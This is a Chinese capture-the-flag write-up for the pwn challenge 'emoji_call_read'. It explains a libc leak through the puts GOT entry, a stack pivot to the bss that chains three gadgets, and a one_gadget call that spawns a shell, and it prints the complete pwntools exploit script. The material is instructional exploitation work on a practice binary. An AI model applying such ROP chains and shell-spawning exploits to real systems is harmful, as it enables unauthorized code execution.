当前位置: 首页 > news >正文

emoji_call_read

这道题我觉得可以记录一下。

主要函数,一样,先考虑怎么泄露libc基址。

但,0x20实在太小,组成不了连续3个ret syscall。

而且文件中也没pop rdi;ret这个gadget,只能另寻他法。

我们注意到:

 

main函数中的这个gadget就很棒,将rbp-0x10处的东西打印出来,后面再执行vuln。

程序没有PIE,所以直接让rbp去got[puts]+0x10就可以了。

以下是这部分exp:

goal=0x404028
gadget=0x401191
gadget2=0x401213#rbp-0x10
gadget3=0x40119A 
#io.interactive()
bss=elf.bss()+0x300
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(goal)+p64(gadget2)
io.send(payload)
puts=u64(io.recv(6).ljust(8,b'\x00'))
print('puts:',hex(puts))
libc_base=puts-libc.sym['puts']
print('libc_base:',hex(libc_base))
system=libc_base+libc.sym['system']
bsh=libc_base+next(libc.search(b'/bin/sh\x00'))

泄露完基址,它会再执行vuln,我们就要考虑怎么getshell了。

一开始我打算直接用one_gadget,但全试了一遍,都不可以。

read 0x20,意味着即使我们栈迁移也执行写2个gadget,不行,处理rdi然后system起码也要三个。

说实话,我一开始想把栈迁移到got[puts]附近,

然后:

payload=b'/bin/sh\x00'+p64(system)+p64(0)+p64(gadget2)

将puts的got表覆盖成system,然后bsh会赋给rdi,成功getshell。

但是执行后会在system内部崩溃,是在push r15的位置。

一开始我还以为是因为覆盖了got表里面比较重要的数据,后来发现就是不能直接system,要用系统调用,无论如何这个方法是不行的,我们换一个。

当时想着起码控制连续3个gadget,发现可以在bss上这么构造:
 

contentaddress
0x401191(read()+leave,ret)
bss-0x20bss
ret3
ret2
ret1
........bss-0x20
.........
..........

这样就可以实现连续执行3个可以控制的gadget了。

一开始我中规中矩,

p64(rdi)+p64(bsh)+p64(system)

很可惜依然报错,看来就是system不能用。

现在想着这么系统调用,但是系统调用要的连续执行空间可就多了,很难构造。

所以反过来想能不能用比较少的gadget满足one_gadget的执行条件。

 经过反复对比,锁定了这个gadget,看看条件,rbp可以控制在bss上,肯定可写,bss上根本没什么数据,[rbp-0x70]=NULL也是轻而易举,那就剩下r12==NULL这个了,正好我们可以连续写3个gadget,那答案就呼之欲出了:
 

payload=p64(r12)+p64(0)+p64(one_gadget)

以下是完整exp:

from pwn import *
from LibcSearcher import *
from ctypes import *
elf=ELF('./pwn')
#io=remote('emoji.dayi.ink',22857)
io=process('./pwn')
context.arch='amd64'
libc=ELF('./libc.so.6')
#libc=elf.libc
goal=0x404028
gadget=0x401191
gadget2=0x401213#rbp-0x10
gadget3=0x40119A 
#io.interactive()
bss=elf.bss()+0x300
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(goal)+p64(gadget2)
io.send(payload)
puts=u64(io.recv(6).ljust(8,b'\x00'))
print('puts:',hex(puts))
libc_base=puts-libc.sym['puts']
print('libc_base:',hex(libc_base))
system=libc_base+libc.sym['system']
bsh=libc_base+next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(bss)+p64(gadget)
io.send(payload)
rdi=libc_base+0x2a3e5
rdx2=libc_base+0x11f2e7
leave=0x4011AD#gadget
ret=0x40122F
r12=libc_base+0x35731
rax=libc_base+0x45eb0
one_gadget=libc_base+0xebd38
payload=p64(0)+p64(one_gadget)+p64(bss-0x20)+p64(gadget)
io.send(payload)
payload=p64(ret)+p64(system)+p64(bss-0x20)+p64(r12)
io.send(payload)
io.interactive()

要注意的是发送一定要用send,不能sendline,不然会崩溃报错,读不进去数据,我也不知道为什么,很神奇,以前貌似遇到过。 

相关文章:

emoji_call_read

这道题我觉得可以记录一下。 主要函数,一样,先考虑怎么泄露libc基址。 但,0x20实在太小,组成不了连续3个ret syscall。 而且文件中也没pop rdi;ret这个gadget,只能另寻他法。 我们注意到: main函数中的这…...

一键自动粘贴,高效处理邮箱地址,让你的工作效率翻倍提升!

在信息爆炸的时代,邮箱地址已成为我们日常工作和生活中的必备元素。无论是商务沟通、报名注册还是信息传递,邮箱地址都扮演着至关重要的角色。然而,手动复制粘贴邮箱地址的繁琐操作往往让人头疼不已,不仅效率低下,还容…...

【Java】Java 使用 Graphics2D 在图片上添加文字,并解决图片变红问题

文章目录 【Java】Java 使用 Graphics2D 在图片上添加文字,并解决图片变红问题完整案例 【Java】Java 使用 Graphics2D 在图片上添加文字,并解决图片变红问题 完整案例 public static void main(String[] args) {try {String filePath "D:\\Works…...

初识docker插件

文章目录 一、Docker插件概述二、Docker插件的优势三、Docker插件的使用例子1. 安装Docker插件2. 启用Docker插件3. 创建卷并使用 四、常用的Docker插件五、总结 Docker插件(Docker Plugin)是Docker扩展功能的一种重要方式,它允许用户为Docke…...

springboot整合redis以及使用

在Spring Boot中整合Redis,并使用Redis作为缓存或数据存储,是非常常见和有用的场景。Redis作为一种高性能的键值存储系统,可以用来加速数据访问、会话管理、消息队列等多种用途。下面是整合和使用Redis的基本步骤: 1. 添加Redis依…...

ARM32开发--电源管理单元

知不足而奋进 望远山而前行 目录 文章目录 前言 学习目标 学习内容 PMU 电源域 VDD/VDDA域 备份域 1.2V域 省电模式 睡眠模式 深度睡眠模式 待机模式 几种模式总结 WFI和WFE指令 案例需求 模式初始化 源码 总结 前言 在嵌入式系统中,有效的电池管…...

Android Studio项目升级报错:Namespace not specified

原项目升级AGP到8.0时报错: Namespace not specified. Specify a namespace in the modules build file: C:\Users\Administrator\Desktop\MyJetpack\app\build.gradle. See https://d.android.com/r/tools/upgrade-assistant/set-namespace for information about…...

渗透测试nginx增加400,500报错页面

nginx增加400,500报错页面 在Nginx中增加自定义的400和500错误页面,你需要编辑Nginx配置文件,通常这个文件位于 /etc/nginx/nginx.conf 或者 /etc/nginx/conf.d/default.conf,或者在 /usr/local/nginx/conf/nginx.conf (如果你是…...

OpenCV读取和显示和保存图像

# 导入 OpenCV import cv2 as cv # 读取图像 image cv.imread(F:\\mytupian\\xihuduanqiao.jpg) # 创建窗口 #显示图像后,允许用户随意调整窗口大小 cv.namedWindow(image, cv.WINDOW_NORMAL) # 显示图像 cv.imshow(image, image)# 将图像保存到文件 success cv…...

【面经总结】Java集合 - Map

Map 概述 Map 架构 HashMap 要点 以 散列(哈希表) 方式存储键值对,访问速度快没有顺序性允许使用空值和空键有两个影响其性能的参数:初始容量和负载因子。 初始容量:哈希表创建时的容量负载因子:其容量自动扩容之前被允许的最大…...

CompletableFuture方法介绍及代码示例

CompletableFuture 是 Java 8 引入的一个类,用于支持异步编程。它实现了 Future 接口,并提供了非常强大的功能来处理异步操作。下面是 CompletableFuture 的一些关键内部方法及其详细解释。 基础方法 1. supplyAsync 和 runAsync: - supplyA…...

基于springboot的宠物商城网站

文章目录 项目介绍主要功能截图:部分代码展示设计总结项目获取方式🍅 作者主页:超级无敌暴龙战士塔塔开 🍅 简介:Java领域优质创作者🏆、 简历模板、学习资料、面试题库【关注我,都给你】 🍅文末获取源码联系🍅 项目介绍 基于springboot的宠物商城网站,java项目…...

DM存储ontap系统修改管理IP

存储已配置完成在使用,修改管理ip不会影响生产 旧管理IP新管理IP192.0.2.1/24192.0.10.1/24192.0.2.2/24192.0.10.2/24192.0.2.3/24192.0.10.3/24 旧网关:192.0.2.254 新网关:192.0.10.254 查看现有的管理IP信息 cluster1::> network …...

Web前端商业素材:挖掘价值,释放创意的无限可能

Web前端商业素材:挖掘价值,释放创意的无限可能 在数字化时代,Web前端作为用户与互联网世界交互的桥梁,其重要性不言而喻。而商业素材,作为Web前端设计的重要组成部分,更是承载着品牌形象、传递商业信息的重…...

LeetCode206-反转链表

题目 给你单链表的头节点 head ,请你反转链表,并返回反转后的链表。 代码 /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode() {}* ListNode(int val) { this.val val; }* …...

5000天后的世界

为何可以预见未来 1993年,在互联网的黎明时代,凯文凯利创办了《连线》杂志。他曾经采访过以比尔盖茨、史蒂夫乔布斯、杰夫贝佐斯为代表的一众风云创业家。《连线》杂志是全球发行的世界著名杂志,一直致力于报道科学技术带来的经济、社会变革…...

Photoshop中颜色与色调的调整

Photoshop中颜色与色调的调整 Photoshop中的颜色模式RGB模式灰度模式位图模式索引模式CMYK模式Lab模式 Photoshop中的颜色/色调调整命令颜色/色调调整命令的分类亮度/对比度调整命令色阶命令曲线命令曝光度命令自然饱和度命令色相/饱和度命令色彩平衡命令照片滤镜调整命令通道混…...

【退役之重学Java】终结篇,暂别 Java !

一、为什么退役后要重学 Java 应该说还是对技术抱有热情的,而 Java 是大学时期的主修方向,所以退役的半年之后选择重学 Java,至于此前半年的经历,有机会再给大家讲述吧。 二、重学 Java 的经历 在三月的尾巴,开始重…...

查找——顺序查找和折半查找

查找 关于顺序查找和折半查找,可点击此处进入旧金山大学提供的动画演示网站。 顺序查找 ​ 顺序查找又称线性查找。它对于顺序表和链表都是适用的。对于顺序表,可通过数组下标递增来顺序扫描每个元素;对于链表,则通过指针next来…...

Bio-Info每日一题:Rosalind-07-Mendel‘s First Law(孟德尔第一定律 python实现)

🎉 进入生物信息学的世界,与Rosalind一起探索吧!🧬 Rosalind是一个在线平台,专为学习和实践生物信息学而设计。该平台提供了一系列循序渐进的编程挑战,帮助用户从基础到高级掌握生物信息学知识。无论你是初…...

边缘AI与TinyML在医疗影像筛查中的实战:从模型轻量化到临床部署

1. 项目概述:当AI成为医生的“仿生眼”在医疗诊断领域,尤其是癌症早期筛查中,人类医生的经验与肉眼观察长期是金标准。然而,这个标准背后隐藏着巨大的不确定性:研究显示,即便是标准的放射影像学检查&#x…...

OFIRM 视角下的多重宇宙:双拐点确认度增长模型之本宇宙V4.1开篇,我提出一个深刻的哲学问题:如果宇宙全部演化都可以被一个数学公式精确描述,那么人类独立意识应该如何定位?我思考一夜,越想越觉得恐怖

OFIRM 视角下的多重宇宙:双拐点确认度增长模型之本宇宙V4.1开篇,我提出一个深刻的哲学问题:如果宇宙全部演化都可以被一个数学公式精确描述,那么人类独立意识应该如何定位?我思考一夜,越想越觉得恐怖 问&am…...

告别手动改包!用Fiddler的Free HTTP插件实现自动化测试(附实战配置)

构建高效HTTP流量自动化测试体系:Fiddler Free HTTP插件深度实践 在持续交付和DevOps成为主流的今天,自动化测试已成为保障软件质量不可或缺的一环。然而,许多团队在接口测试环节仍面临重复劳动:每次测试都需要手动修改请求参数、…...

互联网大厂 Java 求职面试:音视频场景中的 Spring Boot 与 Kafka

互联网大厂 Java 求职面试:音视频场景中的 Spring Boot 与 Kafka 在一次互联网大厂的面试中,面试官与燕双非展开了一场关于音视频处理的技术探讨。第一轮提问 面试官:燕双非,你能告诉我在音视频场景下,使用 Spring Boo…...

lsyncd rsyncssh同步中断:Broken pipe (32) 深度诊断与流量整形方案

1. 问题现象与初步诊断 最近在帮客户部署lsyncdrsyncssh方案时,遇到了一个典型问题:同步25GB目录时,总是在传输4GB左右中断。日志里反复出现"Broken pipe (32)"错误,就像下面这样: packet_write_wait: Conne…...

利用taotoken模型广场为ai应用快速进行模型选型与测试

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 利用Taotoken模型广场为AI应用快速进行模型选型与测试 在构建一个需要集成多种AI能力的应用时,开发者面临的首要挑战往…...

Hermit:项目级环境隔离工具,告别开发环境冲突

1. 项目概述:从“隐士”到现代开发者的效率革命如果你和我一样,常年与终端为伴,每天在多个项目、不同编程语言和工具链之间切换,那你一定对那种“环境错乱”的痛楚深有体会。前一秒还在用 Python 3.11 调试一个数据脚本&#xff0…...

IDEA里Artifact选war还是war exploded?一个设置解决Tomcat热部署难题

IDEA中Artifact选择:war与war exploded深度解析与热部署实战 每次修改完JSP页面后都要重启Tomcat?看着进度条缓慢加载,开发效率被硬生生拖慢。这可能是大多数Java Web开发者都经历过的痛苦。问题的根源往往藏在IDEA那个不起眼的Artifact配置选…...

微信消息自动转发:5分钟实现跨群智能消息同步

微信消息自动转发:5分钟实现跨群智能消息同步 【免费下载链接】wechat-forwarding 在微信群之间转发消息 项目地址: https://gitcode.com/gh_mirrors/we/wechat-forwarding 在微信群管理和团队协作中,你是否经常需要将重要消息手动转发到多个群聊…...

基于Tauri与Bun的本地多智能体AI助手YouClaw:架构、配置与实战

1. 项目概述:一个桌面端的多智能体AI助手运行时 最近在折腾AI智能体(Agent)的本地化部署和集成,发现了一个挺有意思的开源项目——YouClaw。简单来说,它是一个基于Tauri 2构建的桌面应用,核心是一个支持多…...